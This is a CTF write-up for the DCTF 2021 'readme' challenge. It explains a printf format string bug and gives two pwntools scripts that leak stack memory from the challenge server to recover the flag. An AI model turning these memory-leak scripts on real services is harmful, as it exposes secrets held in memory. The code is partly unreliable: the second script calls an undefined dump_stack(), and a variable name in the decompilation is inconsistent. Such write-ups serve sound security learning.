DCTF 2021 - Readme

Format String to dump the memory and get flag.

Description

Read me to get the flag.

nc dctf-chall-readme.westeurope.azurecontainer.io 7481

Preface

We get a binary which asks for our name and then prints hello + input. But in order for the binary to run, a file flag.txt needs to be created in the working directoy.

Overview

Decompiling the binary in ghidra, we see a function vuln where the logic happens. The decompiled function with some renaming of the variables looks like this:

void vuln(void) {
  FILE *flag_file;
  long in_FS_OFFSET;
  char flag [32];
  char name [40];
  long local_10;

  stack_canary = *(long *)(in_FS_OFFSET + 40);
  flag_file = fopen("flag.txt","r");
  fgets(local_58,28,flag_file);
  fclose(flag_file);
  puts("hello, what\'s your name?");
  fgets(name,30,stdin);
  printf("hello ");
  printf(name);
  if (stack_canary != *(long *)(in_FS_OFFSET + 40)) {
    __stack_chk_fail();
  }
  return;
}

From this we can see, that the flag is read and stored in the function stack frame. Also we can see, that our input (name) is directly passed to printf, so we got a format string possibility.

With %p we can print values from the memory and with %1$p we can also add an offset, to what memory we want to print.

Using this I played a little bit around with offsets, until I saw the hex for the flag in the output. During the CTF my exploit was pretty simple.

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = "INFO"

context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']

vulnerable = './readme'

payload = ""

for i in range(1,20):
    #p = process( vulnerable )
    p = remote('dctf-chall-readme.westeurope.azurecontainer.io', 7481)
    p.readuntil('hello, what\'s your name?')
    p.sendline("%{}$p.".format(i))
    p.readuntil('hello ')
    leak = p.read(2048, timeout=1).strip().split(b'.')
    for item in leak:
        try:
            log.info(p64(int(item, 16)))
        except:
            continue
    p.close()

This already gave me almost the flag. Because I had to extend a closing bracket at the end of it.

After the CTF ended, I extended my Script, to be more efficient, because I could input multiple formats up to 30 characters. Also I want to have a function to dump the memory, in order to extend the size. Also the leaked memory was combined and then printed our, this way the flag was more obvious.

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = "INFO"

context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']

vulnerable = './readme'

payload = ""

def send_payload(fmtstr):
    global payload
    if len(payload) + len(fmtstr) >= 30:
        #p = process( vulnerable )
        p = remote('dctf-chall-readme.westeurope.azurecontainer.io', 7481)
        p.readuntil('hello, what\'s your name?')
        p.sendline(payload)
        p.readuntil('hello ')
        leak = p.read(2048, timeout=1).strip().strip(b';').split(b';')
        p.close()
        payload = fmtstr
        return leak
    else:
        payload += fmtstr
        return []

def dump(num_bytes_leaked=20):
    leaks = []
    for i in range(num_bytes_leaked):
        leaks.extend(send_payload("%{}$p;".format(1+i)))
    stack_leak = map(lambda y: 0 if b'nil' in y else int(y, 16), leaks)
    return stack_leak

sl = dump_stack()
slb = b''.join(map(p64, sl))
log.info(hexdump(slb))

x = slb[slb.find(b'dctf{'):]
x = x[:(x.find(b'\x00'))]
log.info('flag is: ' + x.decode('ASCII') + '}')

The complete flag was: dctf{n0w_g0_r3ad_s0me_b00k5}


Navigation